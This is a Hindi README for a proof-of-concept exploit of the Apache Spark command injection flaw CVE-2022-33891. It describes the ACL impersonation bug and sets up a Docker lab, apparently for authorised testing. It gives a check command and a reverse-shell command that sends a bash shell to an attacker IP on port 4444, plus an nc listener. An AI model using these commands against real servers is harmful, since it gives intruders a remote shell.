
Apache Spark कमांड इंजेक्शन (CVE-2022-33891) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें चेक और रिवर्स शेल मोड शामिल हैं, जो अधिकृत सुरक्षा परीक्षण को सक्षम बनाता है।
⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए
मूल PoC लेखक AkbarTrilaksana के बहुत आभारी हैं
Apache Spark UI, कॉन्फ़िगरेशन विकल्प spark.acls.enable के माध्यम से ACLs सक्षम करने की संभावना प्रदान करता है। एक प्रमाणीकरण फ़िल्टर के साथ, यह जाँचता है कि क्या किसी उपयोगकर्ता के पास एप्लिकेशन को देखने या संशोधित करने की पहुँच अनुमतियाँ हैं। यदि ACLs सक्षम हैं, तो HttpSecurityFilter में एक कोड पथ किसी व्यक्ति को मनमाना उपयोगकर्ता नाम प्रदान करके प्रतिरूपण (impersonation) करने की अनुमति दे सकता है। एक दुर्भावनापूर्ण उपयोगकर्ता तब एक अनुमति जाँच फ़ंक्शन तक पहुँच सकता है जो अंततः उनके इनपुट के आधार पर एक Unix शेल कमांड बनाएगा और उसे निष्पादित करेगा। इसका परिणाम वर्तमान में जिस उपयोगकर्ता के रूप में Spark चल रहा है, उसी के रूप में मनमाना शेल कमांड निष्पादन होगा। यह Apache Spark संस्करण 3.0.3 और उससे पहले, संस्करण 3.1.1 से 3.1.2, और संस्करण 3.2.0 से 3.2.1 को प्रभावित करता है।
सबसे पहले, रिपॉज़िटरी को क्लोन करें
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
डायरेक्टरी बदलें
cd CVE-2022-33891
निर्भरताएँ स्थापित करें:
pip3 install -r requirements.txt --break-system-packages
कंटेनर को चालू होने दें
docker compose up
एक नए टर्मिनल में, कमांड चलाएँ
docker exec -it CVE-2022-33891-spark-1 /bin/bash
कंटेनर bash सत्र में, दर्ज करें:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
वैकल्पिक रूप से, spark-defaults.conf की सामग्री को cat करके सुनिश्चित करें कि यह सही दिखती है।
इंटरैक्टिव bash शेल से बाहर निकलें और अपनी docker-compose प्रक्रिया को Ctl-C करें।
एक बार कंटेनर सुरक्षित रूप से बंद हो जाएँ, तो docker-compose up फिर से चलाएँ
docker compose up
जाँच करें कि क्या लक्ष्य असुरक्षित है:
python3 poc.py -u http://localhost -p 8080 --check
हमलावर के दृष्टिकोण से, इंटरैक्टिव शेल तक पहुँच प्राप्त करने के लिए दूरस्थ कोड निष्पादन महत्वपूर्ण है। इसलिए, निम्नलिखित कमांड निष्पादित करने से bash पर आधारित tcp पर एक telnet रिवर्स शेल हमलावर के सिस्टम पर पोर्ट 4444/tcp पर ट्रिगर हो जाएगा:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444